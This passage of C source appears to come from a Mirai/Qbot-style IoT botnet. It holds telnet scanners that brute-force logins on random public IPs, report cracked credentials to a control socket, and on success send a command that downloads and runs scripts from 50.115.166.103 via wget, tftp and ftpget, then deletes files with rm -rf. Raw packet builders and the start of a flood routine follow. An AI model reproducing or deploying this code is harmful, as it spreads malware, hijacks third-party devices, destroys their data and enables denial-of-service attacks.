  822. int recvLine(int socket, unsigned char *buf, int bufsize) {
  823.         memset(buf, 0, bufsize);
  824.         fd_set myset;
  825.         struct timeval tv;
  826.         tv.tv_sec = 30;
  827.         tv.tv_usec = 0;
  828.         FD_ZERO(&myset);
  829.         FD_SET(socket, &myset);
  830.         int selectRtn, retryCount;
  831.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  832.                 while(retryCount < 10) {
  833.                         tv.tv_sec = 30;
  834.                         tv.tv_usec = 0;
  835.                         FD_ZERO(&myset);
  836.                         FD_SET(socket, &myset);
  837.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  838.                                 retryCount++;
  839.                                 continue;
  840.                         }
  841.                         break;
  842.                 }
  843.         }
  844.         unsigned char tmpchr;
  845.         unsigned char *cp;
  846.         int count = 0;
  847.         cp = buf;
  848.         while(bufsize-- > 1) {
  849.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  850.                         *cp = 0x00;
  851.                         return -1;
  852.                 }
  853.                 *cp++ = tmpchr;
  854.                 if(tmpchr == '\n') break;
  855.                 count++;
  856.         }
  857.         *cp = 0x00;
  858.         return count;
  859. }
  860. int connectTimeout(int fd, char *host, int port, int timeout) {
  861.         struct sockaddr_in dest_addr;
  862.         fd_set myset;
  863.         struct timeval tv;
  864.         socklen_t lon;
  865.         int valopt;
  866.         long arg = fcntl(fd, F_GETFL, NULL);
  867.         arg |= O_NONBLOCK;
  868.         fcntl(fd, F_SETFL, arg);
  869.         dest_addr.sin_family = AF_INET;
  870.         dest_addr.sin_port = htons(port);
  871.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  872.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  873.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  874.         if (res < 0) {
  875.                 if (errno == EINPROGRESS) {
  876.                         tv.tv_sec = timeout;
  877.                         tv.tv_usec = 0;
  878.                         FD_ZERO(&myset);
  879.                         FD_SET(fd, &myset);
  880.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  881.                                 lon = sizeof(int);
  882.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  883.                                 if (valopt) return 0;
  884.                         }
  885.                         else return 0;
  886.                 }
  887.                 else return 0;
  888.         }
  889.         arg = fcntl(fd, F_GETFL, NULL);
  890.         arg &= (~O_NONBLOCK);
  891.         fcntl(fd, F_SETFL, arg);
  892.         return 1;
  893. }
  894. int listFork() {
  895.         uint32_t parent, *newpids, i;
  896.         parent = fork();
  897.         if (parent <= 0) return parent;
  898.         numpids++;
  899.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  900.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  901.         newpids[numpids - 1] = parent;
  902.         free(pids);
  903.         pids = newpids;
  904.         return parent;
  905. }
  906. int negotiate(int sock, unsigned char *buf, int len) {
  907.         unsigned char c;
  908.         switch (buf[1]) {
  909.         case CMD_IAC: return 0;
  910.         case CMD_WILL:
  911.         case CMD_WONT:
  912.         case CMD_DO:
  913.         case CMD_DONT:
  914.                 c = CMD_IAC;
  915.                 send(sock, &c, 1, MSG_NOSIGNAL);
  916.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  917.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  918.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  919.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  920.                 send(sock, &c, 1, MSG_NOSIGNAL);
  921.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  922.                 break;
  923.         default:
  924.                 break;
  925.         }
  926.  
  927.         return 0;
  928. }
  929. int matchPrompt(char *bufStr) {
  930.         char *prompts = ":>%$#\0";
  931.         int bufLen = strlen(bufStr);
  932.         int i, q = 0;
  933.         for(i = 0; i < strlen(prompts); i++) {
  934.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  935.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  936.         }
  937.         return 0;
  938. }
  939. in_addr_t getRandomPublicIP() {
  940.         static uint8_t ipState[4] = {0};
  941.         ipState[0] = rand() % 223;
  942.         ipState[1] = rand() % 255;
  943.         ipState[2] = rand() % 255;
  944.         ipState[3] = rand() % 255;
  945.         while(
  946.                 (ipState[0] == 0) ||
  947.                 (ipState[0] == 10) ||
  948.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  949.                 (ipState[0] == 127) ||
  950.                 (ipState[0] == 169 && ipState[1] == 254) ||
  951.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  952.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  953.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  954.                 (ipState[0] == 192 && ipState[1] == 168) ||
  955.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  956.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  957.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  958.                 (ipState[0] >= 224)
  959.         )
  960.         {
  961.                 ipState[0] = rand() % 223;
  962.                 ipState[1] = rand() % 255;
  963.                 ipState[2] = rand() % 255;
  964.                 ipState[3] = rand() % 255;
  965.         }
  966.         char ip[16] = {0};
  967.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  968.         return inet_addr(ip);
  969. }
  970.  
  971. in_addr_t MiraiIPRanges()
  972. {
  973.         static uint8_t ipState[4] = {0};
  974.         ipState[0] = rand() % 223;
  975.         ipState[1] = rand() % 255;
  976.         ipState[2] = rand() % 255;
  977.         ipState[3] = rand() % 255;
  978.         while(
  979.                 (ipState[0] == 127) ||                                         // 127.0.0.0/8      - Loopback
  980.                 (ipState[0] == 0) ||                                           // 50.115.166.103/8        - Invalid address space
  981.                 (ipState[0] == 3) ||                                           // 3.0.0.0/8        - General Electric Company
  982.                 (ipState[0] == 15 || ipState[0] == 16) ||                      // 15.0.0.0/7       - Hewlett-Packard Company
  983.                 (ipState[0] == 56) ||                                          // 56.0.0.0/8       - US Postal Service
  984.                 (ipState[0] == 10) ||                                          // 150.115.166.103/8       - Internal network
  985.                 (ipState[0] == 192 && ipState[1] == 168) ||                    // 192.168.0.0/16   - Internal network
  986.                 (ipState[0] == 172 && ipState[1] >= 16 && ipState[1] < 32) ||  // 172.16.0.0/14    - Internal network
  987.                 (ipState[0] == 100 && ipState[1] >= 64 && ipState[1] < 127) || // 100.64.0.0/10    - IANA NAT reserved
  988.                 (ipState[0] == 169 && ipState[1] > 254) ||                     // 169.254.0.0/16   - IANA NAT reserved
  989.                 (ipState[0] == 198 && ipState[1] >= 18 && ipState[1] < 20) ||  // 198.18.0.0/15    - IANA Special use
  990.                 (ipState[0] == 224) ||                                         // 224.*.*.*+       - Multicast
  991.                 (ipState[0] == 6 || ipState[0] == 7 || ipState[0] == 11 || ipState[0] == 21 || ipState[0] == 22 || ipState[0] == 26 || ipState[0] == 28 || ipState[0] == 29 || ipState[0] == 30 || ipState[0] == 33 || ipState[0] == 55 || ipState[0] == 214 || ipState[0] == 215) // Department of Defense
  992.         )
  993.         {
  994.                 ipState[0] = rand() % 223;
  995.                 ipState[1] = rand() % 255;
  996.                 ipState[2] = rand() % 255;
  997.                 ipState[3] = rand() % 255;
  998.         }
  999.         char ip[16] = {0};
  1000.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1001.         return inet_addr(ip);
  1002. }
  1003.  
  1004. in_addr_t getRandomIP(in_addr_t netmask) {
  1005.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1006.         return tmp ^ ( rand_cmwc() & ~netmask);
  1007. }
  1008. unsigned short csum (unsigned short *buf, int count) {
  1009.         register uint64_t sum = 0;
  1010.         while( count > 1 ) { sum += *buf++; count -= 2; }
  1011.         if(count > 0) { sum += *(unsigned char *)buf; }
  1012.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1013.         return (uint16_t)(~sum);
  1014. }
  1015. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  1016.         struct tcp_pseudo {
  1017.                 unsigned long src_addr;
  1018.                 unsigned long dst_addr;
  1019.                 unsigned char zero;
  1020.                 unsigned char proto;
  1021.                 unsigned short length;
  1022.         } pseudohead;
  1023.         unsigned short total_len = iph->tot_len;
  1024.         pseudohead.src_addr=iph->saddr;
  1025.         pseudohead.dst_addr=iph->daddr;
  1026.         pseudohead.zero=0;
  1027.         pseudohead.proto=IPPROTO_TCP;
  1028.         pseudohead.length=htons(sizeof(struct tcphdr));
  1029.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1030.         unsigned short *tcp = malloc(totaltcp_len);
  1031.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1032.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1033.         unsigned short output = csum(tcp,totaltcp_len);
  1034.         free(tcp);
  1035.         return output;
  1036. }
  1037. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  1038.         iph->ihl = 5;
  1039.         iph->version = 4;
  1040.         iph->tos = 0;
  1041.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  1042.         iph->id = rand_cmwc();
  1043.         iph->frag_off = 0;
  1044.         iph->ttl = MAXTTL;
  1045.         iph->protocol = protocol;
  1046.         iph->check = 0;
  1047.         iph->saddr = source;
  1048.         iph->daddr = dest;
  1049. }
  1050. int sclose(int fd) {
  1051.         if(3 > fd) return 1;
  1052.         close(fd);
  1053.         return 0;
  1054. }
  1055. void TelnetScanner(int wait_usec, int maxfds)
  1056. {
  1057.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  1058.        
  1059.         char buf[128], cur_dir;
  1060.         if (max > maxfds)
  1061.                 max = maxfds;
  1062.         fd_set fdset;
  1063.         struct timeval tv;
  1064.         socklen_t lon;
  1065.         int valopt;
  1066.        
  1067.        
  1068.        
  1069.         char line[256];
  1070.         char* buffer;
  1071.         struct sockaddr_in dest_addr;
  1072.         dest_addr.sin_family = AF_INET;
  1073.         dest_addr.sin_port = htons(23);
  1074.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1075.        
  1076.         buffer = malloc(SOCKBUF_SIZE + 1);
  1077.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  1078.        
  1079.         struct telstate_t fds[max];
  1080.        
  1081.         memset(fds, 0, max * (sizeof(int) + 1));
  1082.         for(i = 0; i < max; i++)
  1083.         {
  1084.             memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1085.             fds[i].complete = 1;
  1086.             fds[i].sockbuf = buffer;
  1087.         }
  1088.         while(1) {
  1089.                 for(i = 0; i < max; i++) {
  1090.                         if(fds[i].tTimeout == 0) {
  1091.                                 fds[i].tTimeout = time(NULL);
  1092.                         }
  1093.                         switch(fds[i].state) {
  1094.             case 0:
  1095.                 {
  1096.                     if(fds[i].complete == 1)
  1097.                     {
  1098.                         char *tmp = fds[i].sockbuf;
  1099.                         memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1100.                         fds[i].sockbuf = tmp;
  1101.                                    
  1102.                         fds[i].ip = getRandomPublicIP();
  1103.                     }
  1104.                     else if(fds[i].complete == 0)
  1105.                     {
  1106.                         fds[i].usernameInd++;
  1107.                         fds[i].passwordInd++;
  1108.                                    
  1109.                         if(fds[i].passwordInd == sizeof(Telnet_Passwords) / sizeof(char *))
  1110.                         {
  1111.                             fds[i].complete = 1;
  1112.                             continue;
  1113.                         }
  1114.                         if(fds[i].usernameInd == sizeof(Telnet_Usernames) / sizeof(char *))
  1115.                         {
  1116.                             fds[i].complete = 1;
  1117.                             continue;
  1118.                         }
  1119.                     }
  1120.                                
  1121.                     dest_addr.sin_family = AF_INET;
  1122.                     dest_addr.sin_port = htons(23);
  1123.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1124.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  1125.                                
  1126.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1127.                                
  1128.                     if(fds[i].fd == -1) continue;
  1129.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1130.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1131.                     {
  1132.                         reset_telstate(&fds[i]);
  1133.                     }
  1134.                     else
  1135.                     {
  1136.                         advance_telstate(&fds[i], 1);
  1137.                     }
  1138.                 }
  1139.                 break;
  1140.                
  1141.             case 1:
  1142.                 {
  1143.                     FD_ZERO(&fdset);
  1144.                     FD_SET(fds[i].fd, &fdset);
  1145.                     tv.tv_sec = 0;
  1146.                     tv.tv_usec = wait_usec;
  1147.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1148.                    
  1149.                     if(res == 1) {
  1150.                         fds[i].tTimeout = 0;
  1151.                         lon = sizeof(int);
  1152.                         valopt = 0;
  1153.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1154.                         if(valopt)
  1155.                         {
  1156.                             reset_telstate(&fds[i]);
  1157.                         }
  1158.                         else
  1159.                         {
  1160.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1161.                             advance_telstate(&fds[i], 2);
  1162.                         }
  1163.                         continue;
  1164.                     }
  1165.                     else if(res == -1)
  1166.                     {
  1167.                         reset_telstate(&fds[i]);
  1168.                         continue;
  1169.                     }
  1170.                     if(fds[i].tTimeout + 7 < time(NULL))
  1171.                     {
  1172.                         reset_telstate(&fds[i]);
  1173.                     }
  1174.                 }
  1175.                 break;
  1176.             case 2:
  1177.                 {
  1178.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1179.                     {
  1180.                         fds[i].tTimeout = time(NULL);
  1181.                         if(contains_fail(fds[i].sockbuf))
  1182.                         {
  1183.                             advance_telstate(&fds[i], 0);
  1184.                         }
  1185.                         else
  1186.                         {
  1187.                             advance_telstate(&fds[i], 3);
  1188.                         }
  1189.                         continue;
  1190.                     }
  1191.                     if(fds[i].tTimeout + 7 < time(NULL))
  1192.                     {
  1193.                         reset_telstate(&fds[i]);
  1194.                     }
  1195.                 }
  1196.                 break;
  1197.             case 3:
  1198.                 {
  1199.                     if(send(fds[i].fd, Telnet_Usernames[fds[i].usernameInd], strlen(Telnet_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1200.                     {
  1201.                         reset_telstate(&fds[i]);
  1202.                         continue;
  1203.                     }
  1204.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1205.                     {
  1206.                         reset_telstate(&fds[i]);
  1207.                         continue;
  1208.                     }
  1209.                     advance_telstate(&fds[i], 4);
  1210.                 }
  1211.                 break;
  1212.             case 4:
  1213.                 {
  1214.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1215.                     {
  1216.                         fds[i].tTimeout = time(NULL);
  1217.                         if(contains_fail(fds[i].sockbuf))
  1218.                         {
  1219.                             advance_telstate(&fds[i], 0);
  1220.                         }
  1221.                         else
  1222.                         {
  1223.                             advance_telstate(&fds[i], 5);
  1224.                         }
  1225.                         continue;
  1226.                     }
  1227.                     if(fds[i].tTimeout + 7 < time(NULL))
  1228.                     {
  1229.                         reset_telstate(&fds[i]);
  1230.                     }
  1231.                 }
  1232.                 break;                             
  1233.             case 5:
  1234.                 {
  1235.                     if(send(fds[i].fd, Telnet_Passwords[fds[i].passwordInd], strlen(Telnet_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1236.                     {
  1237.                         reset_telstate(&fds[i]);
  1238.                         continue;
  1239.                     }
  1240.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1241.                     {
  1242.                         reset_telstate(&fds[i]);
  1243.                         continue;
  1244.                     }
  1245.                     advance_telstate(&fds[i], 6);
  1246.                 }
  1247.                 break;                                 
  1248.             case 6:
  1249.                 {
  1250.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
  1251.                     {
  1252.                         fds[i].tTimeout = time(NULL);
  1253.                        
  1254.                         if(contains_fail(fds[i].sockbuf))
  1255.                         {
  1256.                             advance_telstate(&fds[i], 0);
  1257.                         }
  1258.                         else if(contains_success(fds[i].sockbuf))
  1259.                         {
  1260.                             if(fds[i].complete == 2)
  1261.                             {
  1262.                                 advance_telstate(&fds[i], 7);
  1263.                             }
  1264.                             else
  1265.                             {
  1266.                                 sockprintf(mainCommSock, "[TELNET] [+] LOGIN CRACKED ---> %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1267.                                 advance_telstate(&fds[i], 7);
  1268.                             }
  1269.                         }
  1270.                         else
  1271.                         {
  1272.                             reset_telstate(&fds[i]);
  1273.                         }
  1274.                         continue;
  1275.                     }
  1276.                     if(fds[i].tTimeout + 7 < time(NULL))
  1277.                     {
  1278.                         reset_telstate(&fds[i]);
  1279.                     }
  1280.                 }
  1281.                 break;
  1282.             case 7:
  1283.                 {
  1284.                         fds[i].tTimeout = time(NULL);
  1285.                        
  1286.                         if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://50.115.166.103/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 50.115.166.103 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 50.115.166.103; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 50.115.166.103 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 407, MSG_NOSIGNAL) < 0)
  1287.                         {
  1288.                             sockprintf(mainCommSock, "[TELNET] [+] SUCCESSFUL INFECTION ---> %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1289.                             reset_telstate(&fds[i]);
  1290.                             continue;
  1291.                         }
  1292.                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "REBIRTH"))
  1293.                         {
  1294.                        
  1295.                             if(strcasestr(fds[i].sockbuf, "REBIRTH") && fds[i].complete != 3)
  1296.                             {
  1297.                                 sockprintf(mainCommSock, "[TELNET] [+] PAYLOAD SENT ---> %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1298.                                 fds[i].complete = 3;
  1299.                             }
  1300.                         }
  1301.                         if(fds[i].tTimeout + 45 < time(NULL))
  1302.                         {
  1303.                             if(fds[i].complete!=3)
  1304.                             {
  1305.                                 sockprintf(mainCommSock, "[TELNET] [-] FAILED INFECTION ---> %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1306.                             }
  1307.                             reset_telstate(&fds[i]);
  1308.                         }
  1309.                 break;
  1310.                 }
  1311.             }
  1312.         }
  1313.     }              
  1314. }
  1315.  
  1316. void MiraiScanner(int wait_usec, int maxfds)
  1317. {
  1318.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  1319.         char buf[128], cur_dir;
  1320.         if (max > maxfds)
  1321.                 max = maxfds;
  1322.         fd_set fdset;
  1323.         struct timeval tv;
  1324.         socklen_t lon;
  1325.         int valopt;
  1326.         char line[256];
  1327.         char* buffer;
  1328.         struct sockaddr_in dest_addr;
  1329.         dest_addr.sin_family = AF_INET;
  1330.         dest_addr.sin_port = htons(23);
  1331.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1332.         buffer = malloc(SOCKBUF_SIZE + 1);
  1333.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  1334.         struct telstate_t fds[max];
  1335.         memset(fds, 0, max * (sizeof(int) + 1));
  1336.         for(i = 0; i < max; i++) {
  1337.                 memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1338.                 fds[i].complete = 1;
  1339.                 fds[i].sockbuf = buffer;
  1340.         }
  1341.         while(1) {
  1342.                 for(i = 0; i < max; i++) {
  1343.                         if(fds[i].tTimeout == 0) {
  1344.                                 fds[i].tTimeout = time(NULL);
  1345.                         }
  1346.                         switch(fds[i].state) {
  1347.             case 0:
  1348.                 {
  1349.                     if(fds[i].complete == 1)
  1350.                     {
  1351.                                    
  1352.                         char *tmp = fds[i].sockbuf;
  1353.                         memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1354.                         fds[i].sockbuf = tmp;
  1355.                                    
  1356.                                    
  1357.                         fds[i].ip = MiraiIPRanges();
  1358.                     }
  1359.                     else if(fds[i].complete == 0)
  1360.                     {
  1361.                         fds[i].usernameInd++;
  1362.                         fds[i].passwordInd++;
  1363.                                    
  1364.                         if(fds[i].passwordInd == sizeof(Mirai_Passwords) / sizeof(char *))
  1365.                         {
  1366.                             fds[i].complete = 1;
  1367.                         }
  1368.                         if(fds[i].usernameInd == sizeof(Mirai_Usernames) / sizeof(char *))
  1369.                         {
  1370.                             fds[i].complete = 1;
  1371.                             continue;
  1372.                         }
  1373.                     }
  1374.                     dest_addr.sin_family = AF_INET;
  1375.                     dest_addr.sin_port = htons(23);
  1376.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1377.                            
  1378.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  1379.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1380.                     if(fds[i].fd == -1) continue;
  1381.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1382.                                
  1383.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1384.                     {
  1385.                         reset_telstate(&fds[i]);
  1386.                     }
  1387.                     else
  1388.                     {
  1389.                         advance_telstate(&fds[i], 1);
  1390.                     }
  1391.                 }
  1392.                 break;
  1393.             case 1:
  1394.                 {
  1395.                     FD_ZERO(&fdset);
  1396.                     FD_SET(fds[i].fd, &fdset);
  1397.                     tv.tv_sec = 0;
  1398.                     tv.tv_usec = wait_usec;
  1399.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1400.                     if(res == 1)
  1401.                     {
  1402.                         fds[i].tTimeout = time(NULL);
  1403.                         lon = sizeof(int);
  1404.                         valopt = 0;
  1405.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1406.                         if(valopt)
  1407.                         {
  1408.                             reset_telstate(&fds[i]);
  1409.                         }
  1410.                         else
  1411.                         {
  1412.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1413.                             advance_telstate(&fds[i], 2);
  1414.                         }
  1415.                         continue;
  1416.                     }
  1417.                     else if(res == -1)
  1418.                     {
  1419.                         reset_telstate(&fds[i]);
  1420.                         continue;
  1421.                     }
  1422.                     if(fds[i].tTimeout + 7 < time(NULL))
  1423.                     {
  1424.                         reset_telstate(&fds[i]);
  1425.                     }
  1426.                 }
  1427.                 break;
  1428.             case 2:
  1429.                 {
  1430.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1431.                     {
  1432.                         fds[i].tTimeout = time(NULL);
  1433.                         if(contains_fail(fds[i].sockbuf))
  1434.                         {
  1435.                             advance_telstate(&fds[i], 0);
  1436.                         }
  1437.                         else
  1438.                         {
  1439.                             advance_telstate(&fds[i], 3);
  1440.                         }
  1441.                         continue;
  1442.                     }
  1443.                     if(fds[i].tTimeout + 7 < time(NULL))
  1444.                     {
  1445.                         reset_telstate(&fds[i]);
  1446.                     }
  1447.                 }
  1448.                 break;
  1449.             case 3:
  1450.                 {
  1451.                     if(send(fds[i].fd, Mirai_Usernames[fds[i].usernameInd], strlen(Mirai_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1452.                     {
  1453.                         reset_telstate(&fds[i]);
  1454.                         continue;
  1455.                     }
  1456.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1457.                     {
  1458.                         reset_telstate(&fds[i]);
  1459.                         continue;
  1460.                     }
  1461.                     advance_telstate(&fds[i], 4);
  1462.                 }
  1463.                 break;
  1464.             case 4:
  1465.                 {
  1466.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1467.                     {
  1468.                         fds[i].tTimeout = time(NULL);
  1469.                         if(contains_fail(fds[i].sockbuf))
  1470.                         {
  1471.                             advance_telstate(&fds[i], 0);
  1472.                         }
  1473.                         else
  1474.                         {
  1475.                             advance_telstate(&fds[i], 5);
  1476.                         }
  1477.                         continue;
  1478.                     }
  1479.                     if(fds[i].tTimeout + 7 < time(NULL))
  1480.                     {
  1481.                         reset_telstate(&fds[i]);
  1482.                     }
  1483.                 }
  1484.                 break;                             
  1485.             case 5:
  1486.                 {
  1487.                     if(send(fds[i].fd, Mirai_Passwords[fds[i].passwordInd], strlen(Mirai_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1488.                     {
  1489.                         reset_telstate(&fds[i]);
  1490.                         continue;
  1491.                     }
  1492.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1493.                     {
  1494.                         reset_telstate(&fds[i]);
  1495.                         continue;
  1496.                     }
  1497.                     advance_telstate(&fds[i], 6);
  1498.                 }
  1499.                 break;                                 
  1500.             case 6:
  1501.                 {
  1502.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
  1503.                     {
  1504.                         fds[i].tTimeout = time(NULL);
  1505.                         if(contains_fail(fds[i].sockbuf))
  1506.                         {
  1507.                             advance_telstate(&fds[i], 0);
  1508.                         }
  1509.                         else if(contains_success(fds[i].sockbuf))
  1510.                         {
  1511.                             if(fds[i].complete == 2)
  1512.                             {
  1513.                                 advance_telstate(&fds[i], 7);
  1514.                             }
  1515.                             else
  1516.                             {
  1517.                                 sockprintf(mainCommSock, "[Mirai][attempt on %s] [%s:%s]", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1518.                                 advance_telstate(&fds[i], 7);
  1519.                             }
  1520.                         }
  1521.                         else
  1522.                         {
  1523.                             reset_telstate(&fds[i]);
  1524.                         }
  1525.                         continue;
  1526.                     }
  1527.                     if(fds[i].tTimeout + 7 < time(NULL))
  1528.                     {
  1529.                         reset_telstate(&fds[i]);
  1530.                     }
  1531.                 }
  1532.                 break;
  1533.             case 7:
  1534.                 {       fds[i].tTimeout = time(NULL);
  1535.                
  1536.                         if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://50.115.166.103/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 50.115.166.103 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 50.115.166.103; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 50.115.166.103 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *", 407, MSG_NOSIGNAL) < 0)
  1537.                         {
  1538.                             sockprintf(mainCommSock, "[TELNET] [+] SUCCESSFUL INFECTION ---> %s:%s:%s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1539.                             reset_telstate(&fds[i]);
  1540.                             continue;
  1541.                         }
  1542.                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "REBIRTH"))
  1543.                         {
  1544.                             if(strcasestr(fds[i].sockbuf, "REBIRTH") && fds[i].complete != 3)
  1545.                             {
  1546.                                 sockprintf(mainCommSock, "[TELNET] [+] PAYLOAD SENT ---> %s:%s:%s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1547.                             }
  1548.                         }
  1549.                         if(fds[i].tTimeout + 45 < time(NULL))
  1550.                         {  
  1551.                             if(fds[i].complete!=3)
  1552.                             {
  1553.                                 sockprintf(mainCommSock, "[TELNET] [-] FAILED INFECTION ---> %s:%s:%s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1554.                             }
  1555.                             reset_telstate(&fds[i]);
  1556.                         }
  1557.                 break;
  1558.                 }
  1559.             }
  1560.         }
  1561.     }              
  1562. }
  1563.  
  1564. void SendSTD(unsigned char *ip, int port, int secs) {
  1565.     int iSTD_Sock;
